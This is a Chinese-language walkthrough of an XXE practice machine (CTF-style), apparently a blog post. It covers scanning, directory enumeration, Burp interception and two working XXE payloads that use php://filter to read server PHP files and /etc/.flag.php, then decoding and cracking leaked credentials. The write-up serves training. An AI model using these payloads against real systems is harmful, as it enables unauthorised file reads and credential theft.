xxe-靶机通关攻略

1.安装靶机,将ova打开,运用kali查询开放端口及ip

2.靶机ip为192.168.126.147,用浏览器打开

3.运用kali  dirb命令扫描ip下的信息

4.依据经验可得,访问robots.txt

5.分别访问两个目录

6.随机输入账号密码,运用bp进行抓包,发送到repeater进行下一步操作

7.发现 name 位置为回显位,构造xxe攻击

8.将图片内容进行base解码

依次尝试base32   base64

9.查看解码内容,看到username跟password的值

10.将密码进行解密

MD5解密

11.访问 http://192.168.168.147/xxe/admin.php

运用账号密码登录

12.点击flag,获得一个新的php文档

13.访问该文档

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flagmeout.php" > ]>
 
<root>
  <name>
    &xxe;
  </name>
  <password>
    1
  </password>
</root>

14.进行base-64解码

15.查看解码内容可以看到flag,进行解码

base64解码失败,进行base32解码

再次进行base64解码

16.查看到新的文件flag.php,进行查看

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/.flag.php" > ]>
 
<root>
  <name>
    &xxe;
  </name>
  <password>
    696
  </password>
</root>

17.新建一个1.php文件,将内容放在其中进行访问

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值